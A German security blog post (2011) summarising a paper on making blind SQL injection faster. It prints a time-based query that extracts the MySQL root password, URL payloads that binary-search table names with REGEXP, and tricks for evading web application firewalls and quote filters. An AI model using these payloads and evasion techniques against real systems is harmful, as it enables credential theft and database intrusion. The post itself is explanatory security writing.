Web-Sicherheit

Juni 14, 2011

Erhöhen der Treffsicherheit von Blind-SQL-Injection-Angriffen

Filed under: Allgemein — sebastiankuebeck @ 17:20
Tags: , , , , , , , ,

Bei SQL-Injection-Schwachstellen in Suchmechanismen ist es in der Regel einfach möglich, beliebige Informationen aus der Datenbank zu bekommen, ist die SQL-Injection-Lücke jedoch in einem INSERT- oder UPDATE-Statement versteckt oder wird das ergebnis einer Abfrage nicht direkt an den Browser übergeben, bekommt man meist keine Daten aus der Datenbank zurück. In diesem Fall kann sich allerdings oft dadurch behelfen, dass die Seite unter bestimmten Umständen eine Fehlermeldung anzeigt. Diese Information (Fehlermeldung oder nicht) kann man dazu nutzen, um Informationen aus dem Datenbanksystem zu beziehen. Diese Art des Angriffs ist als Blind-SQL-Injection bekannt und kann äußerst effektiv sein, sofern man den Angriff automatisieren kann.

Funktioniert der Trick mit der Fehlermeldung nicht, kann man sich mit einer Time-Attacke behelfen. Dabei schleust man ein Kommando in die Datenbank ein, das zur Verarbeitung eine längere Zeit benötigt. Aus der Laufzeit des Skripts (z.B.: langsam bedeutet „wahr“, schnell bedeutet „falsch“) kann man wiederum Informationen aus der Datenbank beziehen.

Das folgende Kommando hat beispielsweise eine deutlich höhere Laufzeit wenn das erste Zeichen des Passworts des Benutzers root mit dem Buchstaben a beginnt:

SELECT 1,1 UNION SELECT
IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password
FROM mysql.user WHERE User = ‘root’;

Simone ‚R00T_ATI‘ Quatrini und Marco ‚white_sheep‘ Rondini zeigen nun in ihrem interessanten Paper, wie man diese Time-Attacken mithilfe von regulären Ausdrücken noch effizienter gestalten kann. Die MySQL Datenbank bietet dazu reguläre Ausdrücke zum Vergleich von Werten an. Microsofts MS SQL bietet einen ähnlichen Mechanismus im Zusammenhang mit dem Vergleichsoperator LIKE an. Der Trick besteht nun darin, statt alle möglichen Buchstaben des Passworts durchzuprobieren, ganze Zeichenklassen zu testen und diese Zeichenklassen schrittweise zu verkleinern. Hierzu ein Beispiel:

Ist das erste Zeichen des Tabellennamens des Schemas blind_sqli zwischen a und n?

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

-> wahr, also kann ich meine Suche auf Zeichen zwischen a und n beschränken. Probieren wir also im nächsten Versuch  a bis g

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)

-> falsch, der Buchstabe muss also zwischen h und n sein…

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1)

-> wahr, also weiter mit h bis l

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1)

-> falsch.

Sie sehen schon, worauf das hinaus läuft. Bei der MS SQL funktioniert eine ähnliche Taktik. Die Zeit, die man so für das Ermitteln von Dantenbankinformationen benötigt sinkt dabei drastisch.

Im nächsten Teil zeigen die Autoren, wie man sich um WAFs (Web Application Firewalls) und Datenbankfirewalls herumschummelt:

Die meisten WAFs blockieren Ausdrücke wie SELECT ... FROM, also hat man gute Chancen, anstelle von Leerzeichen nach SELECT und vor und nach FROM andere legale Trennzeichen wie Tabulatoren zu verwenden:

SELECT%09TABLE_NAME%09FROM%0dinformation_schema.tables

%09 ist dabei ein URL-codiertes Tabulatorzeichen. Alternativ funktionieren auch häufig ASCII-Steuerzeichen wie %0c (form feed, new page), %0d (carriage return), %0a (line feed, new line). Werden einfache oder doppelte Hochkomma (' und ") gefiltert, kann man sich mit der Hexadezimaldarstellung oder der Funktion CHAR behelfen:

SELECT passwd FROM users WHERE username=0x61646d696e

Der Wert 0x61646d696e ist die hexadezimale Darstellung von admin.
Dasselbe erreicht man mit den Funktionen CHAR und CONCAT:

SELECT passwd FROM users WHERE username=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))

Alles in allem beschreiben die Autoren eine Reihe von nützlichen Tricks. Es wird wahrscheinlich nicht lange dauern, bis diese in automatischen SQL-Injection-Werkzeugen wie sqlninja und sqlmap Einzug halten. Das spart dem Hacker einen haufen Arbeit…

1 Kommentar »

  1. […] interessante Video zeigt, wie man das Werzeug bsqlbf einsetzt, um einen Blind-SQL-Injection-Angriff auf WordPress […]

    Pingback von WordPress mittels bsqlbf hacken « Web-Sicherheit — Juli 18, 2011 @ 15:41 | Antwort


RSS feed for comments on this post. TrackBack URI

Kommentar verfassen

Trage deine Daten unten ein oder klicke ein Icon um dich einzuloggen:

WordPress.com-Logo

Du kommentierst mit Deinem WordPress.com-Konto. Abmelden / Ändern )

Twitter-Bild

Du kommentierst mit Deinem Twitter-Konto. Abmelden / Ändern )

Facebook-Foto

Du kommentierst mit Deinem Facebook-Konto. Abmelden / Ändern )

Google+ Foto

Du kommentierst mit Deinem Google+-Konto. Abmelden / Ändern )

Verbinde mit %s

Bloggen auf WordPress.com.

%d Bloggern gefällt das: